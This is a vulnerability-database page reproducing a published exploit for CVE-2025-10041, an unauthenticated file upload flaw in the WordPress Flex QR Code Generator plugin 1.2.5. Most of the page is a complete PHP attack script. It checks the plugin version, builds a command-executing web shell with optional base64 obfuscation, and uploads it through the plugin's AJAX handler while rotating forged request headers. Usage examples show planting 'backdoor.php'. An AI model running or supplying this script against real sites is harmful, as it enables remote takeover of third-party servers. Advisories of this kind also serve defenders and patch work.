Lucene search
K

📄 WordPress Flex QR Code Generator 1.2.5 Shell Upload

🗓️ 02 Mar 2026 00:00:00Reported by indoushkaType 
packetstorm
 packetstorm
🔗 packetstorm.news👁 125 Views

Unauthenticated remote code execution in WordPress Flex QR Code Generator 1.2.5 via file upload.

Related
Code
ReporterTitlePublishedViews
Family
GithubExploit
Exploit for CVE-2025-10041
20 Oct 202515:12
githubexploit
GithubExploit
Exploit for CVE-2025-10041
15 Oct 202507:51
githubexploit
Circl
CVE-2025-10041
15 Oct 202505:51
circl
CNNVD
WordPress plugin Flex QR Code Generator 代码问题漏洞
15 Oct 202500:00
cnnvd
CVE
CVE-2025-10041
15 Oct 202508:25
cve
Cvelist
CVE-2025-10041 Flex QR Code Generator <= 1.2.5 - Unauthenticated Arbitrary File Upload
15 Oct 202508:25
cvelist
EUVD
EUVD-2025-34561
15 Oct 202508:25
euvd
NVD
CVE-2025-10041
15 Oct 202509:15
nvd
Patchstack
WordPress Flex QR Code Generator plugin <= 1.2.5 - Unauthenticated Arbitrary File Upload vulnerability
15 Oct 202500:27
patchstack
RedhatCVE
CVE-2025-10041
16 Oct 202508:33
redhatcve
Rows per page
=============================================================================================================================================
    | # Title     : WordPress Flex QR Code Generator 1.2.5 - Unauthenticated Remote Code Execution via Arbitrary File Upload                    |
    | # Author    : indoushka                                                                                                                   |
    | # Tested on : windows 11 Fr(Pro) / browser : Mozilla firefox 145.0.1 (64 bits)                                                            |
    | # Vendor    : https://wordpress.org/plugins/flex-qr-code-generator/                                                                       |
    =============================================================================================================================================
    
    POC : 
    
    [+] References : https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-10041 
    
                     https://packetstorm.news/files/id/210541/
    
                     https://wpscan.com/vulnerability/12347
    
    [+] Summary
       
        A critical security vulnerability exists in the WordPress Flex QR Code Generator plugin version 1.2.5. 
    	The vulnerability allows unauthenticated attackers to upload arbitrary PHP files through the QR code creation functionality, 
    	leading to remote code execution and complete compromise of the WordPress installation.
    	
    The vulnerability exists in the QR code creation functionality of the Flex QR Code Generator plugin. 
    The 'flexqr_save_qr' AJAX handler lacks proper file type validation and authentication checks, allowing attackers to:
    
    1. Bypass authentication completely
    2. Upload arbitrary PHP files as QR code logos
    3. Execute the uploaded files with web server privileges
    4. Achieve remote code execution
    
    
    [+] Usage: 
    
    Usage: php poc.php -u https://example.com
    
    [+] POC :
    
    
    <?php
    /**
     * CVE-2025-10041 Exploit - Flex QR Code Generator Plugin
     * By: indoushka
     */
    
    class FlexQRExploit {
        private $userAgents = [
            "Mozilla/5.0 (Windows NT 10.0; Win64; x64)",
            "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7)", 
            "Mozilla/5.0 (Linux; Android 10)",
            "Mozilla/5.0 (iPhone; CPU iPhone OS 14_0 like Mac OS X)",
            "Mozilla/5.0 (Nxploited)"
        ];
        
        private $referers = [
            "https://google.com",
            "https://bing.com", 
            "https://facebook.com",
            "https://twitter.com",
            "https://evil.com"
        ];
        
        public function printWait($msg, $delay = 2) {
            echo $msg . "\n";
            sleep($delay);
        }
        
        public function randomHeaders($customHeaders = null) {
            $headers = [
                "User-Agent: " . $this->userAgents[array_rand($this->userAgents)],
                "Accept: */*",
                "Connection: close",
                "Referer: " . $this->referers[array_rand($this->referers)],
                "Cookie: wp_nonce=" . rand(100000, 999999) . "; test=" . rand(1, 9999)
            ];
            
            if ($customHeaders) {
                $headers = array_merge($headers, $customHeaders);
            }
            
            return $headers;
        }
        
        public function getReadmeVersion($targetUrl, $headers) {
            $url = rtrim($targetUrl, '/') . "/wp-content/plugins/flex-qr-code-generator/readme.txt";
            
            $ch = curl_init();
            curl_setopt_array($ch, [
                CURLOPT_URL => $url,
                CURLOPT_HTTPHEADER => $headers,
                CURLOPT_TIMEOUT => 10,
                CURLOPT_RETURNTRANSFER => true,
                CURLOPT_FOLLOWLOCATION => true,
                CURLOPT_SSL_VERIFYPEER => false,
                CURLOPT_SSL_VERIFYHOST => false
            ]);
            
            $response = curl_exec($ch);
            $httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE);
            curl_close($ch);
            
            if ($httpCode === 200 && strpos($response, "Version: 1.2.5") !== false) {
                return true;
            }
            
            return false;
        }
        
        public function encodeFilename($filename, $method) {
            if ($method === "base64") {
                $encoded = base64_encode($filename);
                return rtrim(strtr($encoded, '+/', '-_'), '=');
            } elseif ($method === "url") {
                return urlencode($filename);
            }
            return $filename;
        }
        
        public function encodeContent($content, $method) {
            if ($method === "base64") {
                $encoded = base64_encode($content);
                return "<?php eval(base64_decode('" . $encoded . "')); ?>";
            }
            return $content;
        }
        
        public function createShellFile($shellName, $shellCode = null, $encodeContentMethod = null) {
            $shellContent = $shellCode ?: "<?php echo shell_exec(\$_GET['cmd']); ?>";
            
            if ($encodeContentMethod) {
                $shellContent = $this->encodeContent($shellContent, $encodeContentMethod);
            }
            
            if (file_put_contents($shellName, $shellContent) !== false) {
                return $shellName;
            }
            
            throw new Exception("Failed to create shell file: " . $shellName);
        }
        
        public function buildPayload($shellName, $qrName, $qrDesc, $qrData, $isTracking) {
            $qrJson = [
                "qrName" => $qrName,
                "qrDesc" => $qrDesc, 
                "qrData" => $qrData
            ];
            
            $payload = [
                "action" => "flexqr_save_qr",
                "qrData" => str_replace("'", '"', json_encode($qrJson)),
                "isTrackingEnabled" => $isTracking ? "true" : "false"
            ];
            
            return $payload;
        }
        
        public function uploadShell($targetUrl, $payload, $shellName, $headers, $retries = 3) {
            $url = rtrim($targetUrl, '/') . "/wp-admin/admin-ajax.php";
            
            if (!file_exists($shellName)) {
                throw new Exception("Shell file not found: " . $shellName);
            }
            
            $postData = $payload;
            $postData['logo'] = new CURLFile($shellName);
            
            for ($attempt = 0; $attempt < $retries; $attempt++) {
                $ch = curl_init();
                curl_setopt_array($ch, [
                    CURLOPT_URL => $url,
                    CURLOPT_POST => true,
                    CURLOPT_POSTFIELDS => $postData,
                    CURLOPT_HTTPHEADER => $headers,
                    CURLOPT_TIMEOUT => 15,
                    CURLOPT_RETURNTRANSFER => true,
                    CURLOPT_FOLLOWLOCATION => false,
                    CURLOPT_SSL_VERIFYPEER => false,
                    CURLOPT_SSL_VERIFYHOST => false
                ]);
                
                $response = curl_exec($ch);
                $error = curl_error($ch);
                $httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE);
                curl_close($ch);
                
                if (!$error) {
                    return [
                        'success' => true,
                        'response' => $response,
                        'http_code' => $httpCode
                    ];
                }
                
                echo "Upload error (try " . ($attempt + 1) . "): " . $error . "\n";
                sleep(rand(1, 3));
            }
            
            return [
                'success' => false,
                'error' => 'All upload attempts failed'
            ];
        }
        
        public function extractUploadedName($shellName, $responseJson) {
            try {
                if (isset($responseJson['data']['id'])) {
                    $insertedId = $responseJson['data']['id'];
                    $pathInfo = pathinfo($shellName);
                    $finalName = $pathInfo['filename'] . '_' . $insertedId . '.' . $pathInfo['extension'];
                    return $finalName;
                }
            } catch (Exception $e) {
                // Ignore extraction errors
            }
            return null;
        }
        
        public function isSuccessful($response) {
            try {
                $json = json_decode($response, true);
                if (isset($json['success']) && $json['success'] === true) {
                    if (isset($json['data']['message']) && 
                        strpos($json['data']['message'], 'QR code saved successfully') !== false) {
                        return [true, $json];
                    }
                }
            } catch (Exception $e) {
                // JSON decode failed
            }
            return [false, null];
        }
        
        public function execute($args) {
            $headers = $this->randomHeaders($args['headers'] ?? null);
            
            $this->printWait("Checking vulnerability version...");
            if (!$this->getReadmeVersion($args['url'], $headers)) {
                echo "Target is not vulnerable.\n";
                exit(0);
            }
            
            echo "Target is vulnerable ...\n";
            $this->printWait("Exploiting ...");
            
            $shellName = $args['shellname'] ?? 'shell.php';
            
            if (isset($args['encode_filename'])) {
                $shellNameEncoded = $this->encodeFilename($shellName, $args['encode_filename']);
                echo "[*] Filename encoded: $shellName -> $shellNameEncoded\n";
                $shellName = $shellNameEncoded;
            }
            
            $this->createShellFile($shellName, null, $args['encode_content'] ?? null);
            $this->printWait("Uploading shell '$shellName' ...");
            
            $payload = $this->buildPayload(
                $shellName,
                $args['qr_name'] ?? 'shell',
                $args['qr_desc'] ?? 'bypass', 
                $args['qr_data'] ?? 'https://evil.com',
                $args['is_tracking'] ?? false
            );
            
            $uploadResult = $this->uploadShell($args['url'], $payload, $shellName, $headers);
            
            if (!$uploadResult['success']) {
                echo "Upload failed: " . $uploadResult['error'] . "\n";
                exit(1);
            }
            
            list($success, $json) = $this->isSuccessful($uploadResult['response']);
            
            if ($success) {
                $uploadedName = $this->extractUploadedName($shellName, $json);
                echo "Shell uploaded successfully.\n";
                echo "Shell path (guess): /wp-content/uploads/" . ($uploadedName ?: 'unknown') . "\n";
                echo "Response: " . json_encode($json, JSON_PRETTY_PRINT) . "\n";
            } else {
                echo "Upload unsuccessful.\n";
                echo "Response: " . $uploadResult['response'] . "\n";
            }
            
            // Cleanup local shell file
            if (file_exists($shellName)) {
                unlink($shellName);
            }
        }
    }
    
    // Command line interface
    if (php_sapi_name() === 'cli') {
        $options = getopt("u:", [
            "url:",
            "shellname:",
            "qr_name:",
            "qr_desc:", 
            "qr_data:",
            "is_tracking:",
            "encode_filename:",
            "encode_content:",
            "help"
        ]);
        
        if (isset($options['help']) || !isset($options['url'])) {
            echo "CVE-2025-10041 Exploit - Flex QR Code Generator\n";
            echo "Usage: php exploit.php -u <url> [options]\n\n";
            echo "Options:\n";
            echo "  -u, --url              Target URL (required)\n";
            echo "  --shellname            Shell filename (default: shell.php)\n";
            echo "  --qr_name              QR name (default: shell)\n";
            echo "  --qr_desc              QR description (default: bypass)\n"; 
            echo "  --qr_data              QR data (default: https://evil.com)\n";
            echo "  --is_tracking          Tracking enabled (default: false)\n";
            echo "  --encode_filename      Encode filename (base64, url)\n";
            echo "  --encode_content       Encode PHP content (base64)\n";
            echo "  --help                 Show this help\n\n";
            echo "Examples:\n";
            echo "  php exploit.php -u https://example.com\n";
            echo "  php exploit.php -u https://example.com --shellname backdoor.php --encode_filename base64\n";
            echo "  php exploit.php -u https://example.com --encode_content base64\n";
            exit(0);
        }
        
        $args = [
            'url' => $options['u'] ?? $options['url'],
            'shellname' => $options['shellname'] ?? 'shell.php',
            'qr_name' => $options['qr_name'] ?? 'shell',
            'qr_desc' => $options['qr_desc'] ?? 'bypass',
            'qr_data' => $options['qr_data'] ?? 'https://evil.com',
            'is_tracking' => isset($options['is_tracking']) ? filter_var($options['is_tracking'], FILTER_VALIDATE_BOOLEAN) : false,
            'encode_filename' => $options['encode_filename'] ?? null,
            'encode_content' => $options['encode_content'] ?? null
        ];
        
        $exploit = new FlexQRExploit();
        $exploit->execute($args);
    } else {
        echo "This script is intended for command line use only.\n";
    }
    ?>
    
    Greetings to :=====================================================================================
    jericho * Larry W. Cashdollar * LiquidWorm * Hussin-X * D4NB4R * Malvuln (John Page aka hyp3rlinx)|
    ===================================================================================================

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

02 Mar 2026 00:00Current
6Medium risk
Vulners AI Score6
CVSS 3.19.8
EPSS0.00304
SSVC
125